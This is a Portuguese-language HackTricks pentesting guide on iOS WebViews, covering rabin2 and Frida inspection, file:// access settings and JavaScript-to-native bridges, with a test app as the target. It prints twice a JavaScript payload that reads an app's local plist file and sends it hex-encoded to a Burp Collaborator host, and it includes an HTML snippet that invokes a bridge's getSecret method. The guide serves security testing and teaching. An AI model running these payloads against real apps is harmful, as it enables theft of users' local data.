hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md
2023-06-06 18:56:34 +00:00

27 KiB
Raw Blame History

WebViews iOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Tipos de WebViews

WebViews são componentes de navegador in-app para exibir conteúdo web interativo. Eles podem ser usados para incorporar conteúdo web diretamente na interface do usuário de um aplicativo. Os iOS WebViews suportam a execução de JavaScript por padrão, portanto, a injeção de script e os ataques de Cross-Site Scripting podem afetá-los.

  • UIWebView: O UIWebView está obsoleto a partir do iOS 12 e não deve ser usado. Não deve ser usado. O JavaScript não pode ser desativado.

  • WKWebView: Esta é a escolha apropriada para estender a funcionalidade do aplicativo, controlando o conteúdo exibido.

    • JavaScript é habilitado por padrão, mas graças à propriedade javaScriptEnabled de WKWebView, ele pode ser completamente desativado, impedindo todas as falhas de injeção de script.
    • A propriedade JavaScriptCanOpenWindowsAutomatically pode ser usada para impedir que o JavaScript abra novas janelas, como pop-ups.
    • A propriedade hasOnlySecureContent pode ser usada para verificar se os recursos carregados pelo WebView são recuperados por meio de conexões criptografadas.
    • WKWebView implementa renderização fora do processo, portanto, bugs de corrupção de memória não afetarão o processo principal do aplicativo.
  • SFSafariViewController: Deve ser usado para fornecer uma experiência de visualização da web generalizada. Esses WebViews podem ser facilmente identificados, pois possuem um layout característico que inclui os seguintes elementos:

    • Um campo de endereço somente leitura com um indicador de segurança.
    • Um botão de ação ("Compartilhar").
    • Um botão Concluído, botões de navegação para trás e para frente e um botão "Safari" para abrir a página diretamente no Safari.
    • O JavaScript não pode ser desativado em SFSafariViewController e esta é uma das razões pelas quais o uso de WKWebView é recomendado quando o objetivo é estender a interface do usuário do aplicativo.
    • SFSafariViewController também compartilha cookies e outros dados do site com o Safari.
    • A atividade e interação do usuário com um SFSafariViewController não são visíveis para o aplicativo, que não pode acessar dados de preenchimento automático, histórico de navegação ou dados do site.
    • De acordo com as Diretrizes de Revisão da App Store, os SFSafariViewControllers não podem ser ocultados ou obscurecidos por outras visualizações ou camadas.

Descobrindo a Configuração dos WebViews

Análise Estática

UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9   9  10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813  24  25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599  23  24 () ascii _OBJC_CLASS_$_UIWebView

WKWebView

O WKWebView é um componente do iOS que permite exibir conteúdo da web em um aplicativo. Ele é mais seguro e eficiente do que o antigo UIWebView. No entanto, ainda é possível explorar vulnerabilidades em aplicativos que usam o WKWebView.

Algumas técnicas de teste de penetração que podem ser usadas em aplicativos que usam o WKWebView incluem:

  • Injeção de JavaScript: é possível injetar código JavaScript malicioso em um aplicativo que usa o WKWebView. Isso pode ser usado para roubar informações do usuário ou executar ações maliciosas em nome do usuário.

  • Roubo de cookies: os cookies armazenados pelo WKWebView podem ser acessados por um invasor. Isso pode permitir que o invasor assuma a identidade do usuário e acesse informações confidenciais.

  • Redirecionamento de URL: um invasor pode redirecionar o usuário para um site malicioso usando o WKWebView. Isso pode ser usado para roubar informações do usuário ou instalar malware no dispositivo.

  • Vazamento de informações: informações confidenciais podem ser vazadas por meio do WKWebView. Isso pode incluir informações de login, senhas e outras informações pessoais.

Para mitigar essas vulnerabilidades, os desenvolvedores devem implementar práticas de segurança recomendadas, como validar entradas de usuário, criptografar dados confidenciais e usar bibliotecas de terceiros confiáveis.

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3   9  10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670  17  18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960  24  25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4  23  24 () ascii _OBJC_CLASS_$_WKWebView

Alternativamente, você também pode procurar por métodos conhecidos dessas classes WebView. Por exemplo, procure pelo método usado para inicializar um WKWebView (init(frame:configuration:)):

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO

Testando a Configuração do JavaScript

Para WKWebViews, como uma melhor prática, o JavaScript deve ser desativado, a menos que seja explicitamente necessário. Para verificar se o JavaScript foi desativado corretamente, pesquise no projeto por usos de WKPreferences e verifique se a propriedade javaScriptEnabled está definida como false:

let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false

Se você tiver apenas o binário compilado, pode procurar por isso nele:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7  17  18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9  21  22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled

Testando OnlySecureContent

Ao contrário dos UIWebViews, ao usar WKWebViews é possível detectar conteúdo misto (conteúdo HTTP carregado de uma página HTTPS). Usando o método hasOnlySecureContent, é possível verificar se todos os recursos na página foram carregados por meio de conexões criptografadas com segurança.
No binário compilado:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Também é possível pesquisar no código-fonte ou nas strings a string "http://". No entanto, isso não significa necessariamente que há um problema de conteúdo misto. Saiba mais sobre conteúdo misto na MDN Web Docs.

Análise Dinâmica

É possível inspecionar o heap via ObjC.choose() para encontrar instâncias dos diferentes tipos de WebViews e também procurar pelas propriedades javaScriptEnabled e hasonlysecurecontent:

{% code title="webviews_inspector.js" %}

ObjC.choose(ObjC.classes['UIWebView'], {
  onMatch: function (ui) {
    console.log('onMatch: ', ui);
    console.log('URL: ', ui.request().toString());
  },
  onComplete: function () {
    console.log('done for UIWebView!');
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('URL: ', wk.URL().toString());
  },
  onComplete: function () {
    console.log('done for WKWebView!');
  }
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
  onMatch: function (sf) {
    console.log('onMatch: ', sf);
  },
  onComplete: function () {
    console.log('done for SFSafariViewController!');
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
  }
});

{% endcode %}

Carregue-o com:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>

hasOnlySecureContent:  false

Manipulação de Protocolo WebView

Vários esquemas padrão estão disponíveis que estão sendo interpretados em um WebView no iOS, por exemplo:

  • http(s)://
  • file://
  • tel://

WebViews podem carregar conteúdo remoto de um endpoint, mas também podem carregar conteúdo local do diretório de dados do aplicativo. Se o conteúdo local for carregado, o usuário não deve ser capaz de influenciar o nome do arquivo ou o caminho usado para carregar o arquivo, e os usuários não devem ser capazes de editar o arquivo carregado.

Carregamento de conteúdo WebView

Se você tiver o código-fonte, pode procurar por esses métodos. Tendo o binário compilado, você também pode procurar por esses métodos:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Acesso a Arquivos

  • UIWebView:
    • O esquema file:// está sempre habilitado.
    • O acesso a arquivos a partir de URLs file:// está sempre habilitado.
    • O acesso universal a partir de URLs file:// está sempre habilitado.
    • Se você recuperar a origem efetiva de um UIWebView onde baseURL também é definido como nil, você verá que ela não é definida como "null", em vez disso, você obterá algo semelhante ao seguinte: applewebdata://5361016c-f4a0-4305-816b-65411fc1d78. Essa origem "applewebdata://" é semelhante à origem "file://" pois não implementa a Política de Mesma Origem e permite o acesso a arquivos locais e a qualquer recurso da web.

{% tabs %} {% tab title="exfiltrate_file" %}

String.prototype.hexEncode = function(){
    var hex, i;
    var result = "";
    for (i=0; i<this.length; i++) {
        hex = this.charCodeAt(i).toString(16);
        result += ("000"+hex).slice(-4);
    }
    return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr2 = new XMLHttpRequest();
        xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
        xhr2.send(null);
    }
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

{% endtab %} {% endtabs %}

  • WKWebView:
    • allowFileAccessFromFileURLs (WKPreferences, false por padrão): permite que o JavaScript em execução no contexto de um URL do esquema file:// acesse o conteúdo de outros URLs do esquema file://.
    • allowUniversalAccessFromFileURLs (WKWebViewConfiguration, false por padrão): permite que o JavaScript em execução no contexto de um URL do esquema file:// acesse o conteúdo de qualquer origem.

Você pode procurar por essas funções no código-fonte do aplicativo ou no binário compilado.
Além disso, você pode usar o seguinte script do frida para encontrar essas informações:

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('URL: ', wk.URL().toString());
    console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
    console.log('allowFileAccessFromFileURLs: ',
            wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
    console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
    console.log('allowUniversalAccessFromFileURLs: ',
            wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
  },
  onComplete: function () {
    console.log('done for WKWebView!');
  }
});
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL:  file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
        Library/WKWebView/scenario1.html
javaScriptEnabled:  true
allowFileAccessFromFileURLs:  0
hasOnlySecureContent:  false
allowUniversalAccessFromFileURLs:  0

Extrair arquivos arbitrários

//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
    var hex, i;
    var result = "";
    for (i=0; i<this.length; i++) {
        hex = this.charCodeAt(i).toString(16);
        result += ("000"+hex).slice(-4);
    }
    return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr2 = new XMLHttpRequest();
        xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
        xhr2.send(null);
    }
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Métodos nativos expostos por meio de WebViews

Desde o iOS 7, a Apple introduziu APIs que permitem a comunicação entre o tempo de execução JavaScript na WebView e os objetos nativos Swift ou Objective-C.

Existem duas maneiras fundamentais de como o código nativo e o JavaScript podem se comunicar:

  • JSContext: Quando um bloco Objective-C ou Swift é atribuído a um identificador em um JSContext, o JavaScriptCore automaticamente envolve o bloco em uma função JavaScript.
  • Protocolo JSExport: Propriedades, métodos de instância e métodos de classe declarados em um protocolo herdado de JSExport são mapeados para objetos JavaScript que estão disponíveis para todo o código JavaScript. Modificações de objetos que estão no ambiente JavaScript são refletidas no ambiente nativo.

Observe que apenas membros de classe definidos no protocolo JSExport são tornados acessíveis ao código JavaScript.
Procure por código que mapeia objetos nativos para o JSContext associado a uma WebView e analise que funcionalidade ele expõe, por exemplo, nenhum dado sensível deve ser acessível e exposto às WebViews.
Em Objective-C, o JSContext associado a uma UIWebView é obtido da seguinte forma:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

O código JavaScript em um WKWebView ainda pode enviar mensagens de volta para o aplicativo nativo, mas, em contraste com o UIWebView, não é possível fazer referência direta ao JSContext de um WKWebView. Em vez disso, a comunicação é implementada usando um sistema de mensagens e usando a função postMessage, que automaticamente serializa objetos JavaScript em objetos nativos Objective-C ou Swift. Manipuladores de mensagens são configurados usando o método add(_ scriptMessageHandler:name:).

Habilitando o JavascriptBridge

func enableJavaScriptBridge(_ enabled: Bool) {
    options_dict["javaScriptBridge"]?.value = enabled
    let userContentController = wkWebViewConfiguration.userContentController
    userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

    if enabled {
            let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
            userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
    }
}

Enviando Mensagem

Adicionar um manipulador de mensagem de script com o nome "name" (ou "javaScriptBridge" no exemplo acima) faz com que a função JavaScript window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage seja definida em todos os quadros em todas as visualizações da web que usam o controlador de conteúdo do usuário. Pode então ser usado a partir do arquivo HTML assim:

function invokeNativeOperation() {
    value1 = document.getElementById("value1").value
    value2 = document.getElementById("value2").value
    window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"

document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Uma vez que a função nativa é executada, geralmente executará algum JavaScript dentro da página da web (veja evaluateJavascript abaixo) e você pode estar interessado em substituir a função que será executada para roubar o resultado.
Por exemplo, no script abaixo, a função javascriptBridgeCallBack será executada com 2 parâmetros (a função chamada e o resultado). Se você controla o HTML que será carregado, pode criar um alerta com o resultado como:

<html>
    <script>
        document.location = "javascriptbridge://getSecret"
        function javascriptBridgeCallBack(name, result) {
            alert(result);
        }
    </script>
</html>

Função Chamada

A função chamada está localizada em JavaScriptBridgeMessageHandler.swift:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {

//...

case "multiplyNumbers":

        let arg1 = Double(messageArray[1])!
        let arg2 = Double(messageArray[2])!
        result = String(arg1 * arg2)
//...

let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)

Testando

Para testar o envio de uma mensagem postMessage dentro de um aplicativo, você pode:

Depuração de iOS WebViews

(Tutorial de https://blog.vuplex.com/debugging-webviews)

Nos webviews do iOS, as mensagens passadas para console.log() não são impressas nos logs do Xcode. Ainda é relativamente fácil depurar o conteúdo da web com as ferramentas de desenvolvedor do Safari, embora haja algumas limitações:

  • Depurar webviews do iOS requer o Safari, portanto, seu computador de desenvolvimento deve estar executando o macOS.
  • Você só pode depurar webviews em aplicativos carregados em seu dispositivo por meio do Xcode. Você não pode depurar webviews em aplicativos instalados por meio da App Store ou do Apple Configurator.

Com essas limitações em mente, aqui estão as etapas para depurar remotamente um webview no iOS:

  • Primeiro, ative o Safari Web Inspector em seu dispositivo iOS abrindo o aplicativo Configurações do iOS, navegando até Configurações > Safari > Avançado e ativando a opção Web Inspector.

iOS Safari settings

  • Em seguida, você também deve habilitar as ferramentas de desenvolvedor no Safari em seu computador de desenvolvimento. Inicie o Safari em sua máquina de desenvolvimento e navegue até Safari > Preferências na barra de menus. Na janela de preferências que aparece, clique na guia Avançado e, em seguida, habilite a opção Mostrar menu Desenvolver na parte inferior. Depois de fazer isso, você pode fechar a janela de preferências.

Mac Safari settings

  • Conecte seu dispositivo iOS ao seu computador de desenvolvimento e inicie seu aplicativo.
  • No Safari em seu computador de desenvolvimento, clique em Desenvolver na barra de menus e passe o mouse sobre a opção suspensa que é o nome do seu dispositivo iOS para mostrar uma lista de instâncias de webview em execução em seu dispositivo iOS.

Mac Safari develop menu

  • Clique na opção suspensa para o webview que deseja depurar. Isso abrirá uma nova janela do Safari Web Inspector para inspecionar o webview.

Safari Web Inspector window

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥